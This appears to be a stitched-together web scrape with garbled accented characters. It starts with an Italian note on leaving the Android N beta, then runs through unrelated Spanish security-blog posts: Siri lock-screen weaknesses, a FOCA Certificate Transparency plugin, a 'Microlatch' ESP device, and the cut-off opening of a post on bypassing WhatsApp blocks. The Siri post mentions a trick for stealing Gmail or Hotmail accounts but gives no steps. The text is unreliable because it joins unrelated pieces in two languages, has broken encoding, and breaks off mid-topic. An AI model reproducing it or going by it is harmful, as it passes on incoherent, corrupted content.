Se il dispositivo una volta installato da problemi e non regge Android N, non preoccupatevi si pu� facilmente invertire il processo. Torna alla pagina beta: www.google.com/android/beta . Fare clic su Unenrol dispositivo per ricevere un altro aggiornamento OTA, che far� tornare il vostro smartphone come era prima. Attenzione per�, questo porter� lintero dispositivo come nuovo, come se si avesse fatto un ripristino ai dati di fabbrica. Foto, musica, messaggi, tutto. Il backup di tutto � consigliabile.

Si has ido a configurar el servicio de "Oye Siri" en espa�ol, o "Hey Siri" en ingl�s, habr�s visto que tienes que pasar por un reconocimiento de tu forma personal de decir ese comando. Debes decir varias veces "Oye Siri" para que el terminal aprenda la forma en qu� lo dices. Es decir, iOS va a crear algo similar a un patr�n biom�trico de tu voz para que puedas despertar a Siri sin tocar el bot�n Home de forma pronunciada.

Con este peque�o entrenamiento, al igual que con el entrenamiento biom�trico de Touch ID, lo que se consigue es que el terminal - sin necesidad de utilizar los servicios de la nube de Apple para reconocer tu voz - pueda saber que quieras abrir Siri. O lo que es lo mismo, el terminal iPhone est� escuchando todo el rato para ver si es capaz de reconocer el patr�n de "Oye Siri" dicho por ti en la cercan�a sin enviarlo a Apple - para evitar otro caso como el de las televisiones Samsung -.

Esto es as�, porque si tu terminal iPhone tuviera que estar enviando todo lo que escucha en el ambiente a los servidores de Apple para saber si se ha dicho "Oye Siri", entonces el consumo de datos m�viles se podr�a disparar, generando un problema al due�o del dispositivo.

�Sirve para mejorar la seguridad?

Debido a este comportamiento, se genera un peque�o efecto paralelo de seguridad, ya que nadie m�s puede despertar a Siri con un comando de voz si no tiene tu voz, ya que el comando de "Oye Siri" est� asociado a tu patr�n biom�trico. Pero no debe llevar a nadie a enga�o, Siri seguir� atendiendo desde tu terminal a cualquier comando emitido con cualquier voz.

Es decir, el comando "Oye Siri" se reconoce en local y solo el due�o del terminal podr� utilizar este comando porque est� asociado a la biometr�a de su voz. Sin embargo, para que este comando pueda ser utilizado cuando el terminal est� bloqueado, debe permitirse utilizar Siri con la pantalla bloqueada, lo que no tiene mucho sentido.

Los trucos de Hacking iPhone con Siri

Si se permite utilizar Siri con la pantalla bloqueada, entonces cualquier persona podr� utilizar alguno de los m�ltiples trucos de hacking iOS que existen usando Siri, sin importar para nada que no tenga tu voz. S�, no podr� despertar a Siri con el comando "Oye Siri", pero s� que podr� hacerlo pulsando el bot�n Home. Yo lo he probado ayer mismo con el truco de bar para robar cuentas de Gmail o Hotmail con Siri,  en un terminal con el comando "Oye Siri" entrenado.

Si el due�o del terminal bloquea el uso de Siri con la pantalla bloqueada, entonces no podr� utilizar tampoco el comando "Oye Siri" para despertar a Siri, a menos que el dispositivo est� desbloqueado. Lo que no tiene mucho sentido. Lo que deber�a permitirse en la configuraci�n es que con la pantalla bloqueada no funcionara despertar a Siri pulsando el bot�n Home, pero s� utilizando el patr�n biom�trico del comando "Oye Siri" del due�o del terminal. A ver si Apple se da cuenta y lo arregla para subir un poco el nivel de seguridad, sin necesidad de perjudicar el nivel de usabilidad.

Saludos Malignos!

Hace poco, desde el equipo de ElevenPaths en Buenos Aires, se lanz� el plugin gratuito Certificate Transparency Checker para Mozilla Firefox, que muchos usuarios han comenzado a utilizar y que permite verificar las opciones de Certificate Transparency de los sitios web que visitas solo con tenerlo activado.

Ahora, se ha incorporado dentro de las caracter�sticas de la FOCA, por lo que si te descargas el Plugin de Certificate Transparency Checker para FOCA y lo instalas, podr�s verificar cu�les son las opciones de seguridad de todos los sitios que se son escaneados. 

Una vez que descargues el plugin en una carpeta, ver�s que hay un librer�a DLL que deber�s cargar dentro de nuestra querida FOCA rosa. Es importante recordar que la librer�a BouncyCastle.Crypto.dll debe copiarse al mismo directorio que el ejecutable de FOCA Final Version.

Para ello, vete a la secci�n de plugins, y dale a a�adir uno nuevo. En el cuadro de dialogo que te aparezca deber�s seleccionar la librer�a DLL que se llama CertificateTransparencyChecker.dll y deber�s tenerla en la carpeta Plugins para que FOCA pueda extender la funcionalidad que ofrece de serie.

A partir de ese momento, podr�s utilizar la verificaci�n de los SCT de cada sitio web que solicites directamente desde FOCA, tal y como se ve en esta imagen.

Para que veas lo f�cil que es extender tu funcionalidad de FOCA y lo sencillo que es utilizarlo, hemos hecho este v�deo de dos minutos. 

Puedes descargar la FOCA desde la web de ElevenPaths y el plugin Certificate Transparency Checcker para FOCA desde esta URL de la  web del laboratorio de ElevenPaths.  

Fear the FOCA!

Creo que a estas alturas todos conocemos LATCH, pero para el que no haya estado al tanto:

"Latch es un servicio en la nube para que los usuarios pueden crear pestillos digitales para poner a sus identidades digitales, y que les permita poner ON/OFF las cuentas con tan solo hacer clic en la identidad que quiere desbloquear o bloquear cuando la vaya a utilizar. "

La �ltima vez que escrib� sobre Latch fue por el 2014 y os trajimos un hack en el cual hac�amos varios usos de este servicio, para "Lachear" medios f�sicos...

Muchos proyectos he visto desde entonces, algunos brillantes... Tambi�n Eleven Path empez� a fomentar el "maltrato o uso loco" de su servicio con Latch Plugin Contest  donde he podido ver usos de este servicio verdaderamente interesantes.....(siempre he querido participar pero siempre perd� la oportunidad de apuntarme, se me escapaban los plazos.....soy mu desastre para las fechas).

Pero nosotros vamos a ir un poco m�s all� (estamos m�s locos), cierto es que bajo la misma premisa pero con un hardware mucho mas minimalista... y con much�simas m�s posibilidades dado su reducido tama�o.

Pues por aquel entonces me rondo una idea la cabeza "y si construyera un peque�o dispositivo aut�nomo, no mas grande que mi pulgar, muy barato de construir (2 o 3 �), capaz de conectarse ala red ,con el cual poder Lachear cualquier cosa???"......

 Y cuando digo cualquier cosa es cualquier COSA....el coche (o su bomba de combustible), la puerta del garaje, mi robot de cocina, el tel�fono, la puerta de mi casa, una central nuclear, mi router, la electrov�lvula de mi vecino..el encendido de la moto..el control de acceso de la oficina...etc etc....CUALQUIER COSA..(el�ctrica...no podemos "lachear" una oveja)....bien como un vector extra de seguridad o simplemente como dispositivo a distancia...

Pues bien tras un par de d�as de curro os quiero presentar la prueba de concepto de Microlatch ...se basa en un chip ESP que no cuesta mas de 3�, al cual se le adaptado el firmware y es capaz de hacer peticiones https y llevar acabo todo el proceso necesario para conectar con el servicio latch, conectarse a la red mediante wifi, poner en red un peque�o servidor web... y con un par de salidas para conmutar rel�s, optocopladores etc.

De momento el software esta en fase de desarrollo  aunque ya he resuelto las principales pegas (a ver el tiempo que me dejan)  pero en breve tendr� algo decente.. y divertido..


Os emplazo a una segunda entrada en la cual entrare mucho mas en detalle...y veremos como fabricarnos un Microlatch.

Un saludaco.
PD: Pediros perd�n a vosotros y al blog por todo este tiempo AFK, que he ando mas liado que la pata un romano.

https://github.com/Hackplayers/Micro-latch/wiki

Durante el mes de Julio publiqu� en un post el trabajo que hicimos con WhatsApp, explicando que era posible automatizar la creaci�n de de grupos de WhatsApp por medio de una aplicaci�n web que permitiera a una persona "desbloquearse" de la lista negra de otro contacto de WhatsApp.